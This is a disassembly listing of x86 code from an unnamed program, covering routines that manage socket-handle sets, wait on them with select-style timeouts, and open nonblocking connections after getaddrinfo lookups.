; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DF18, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DF6C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
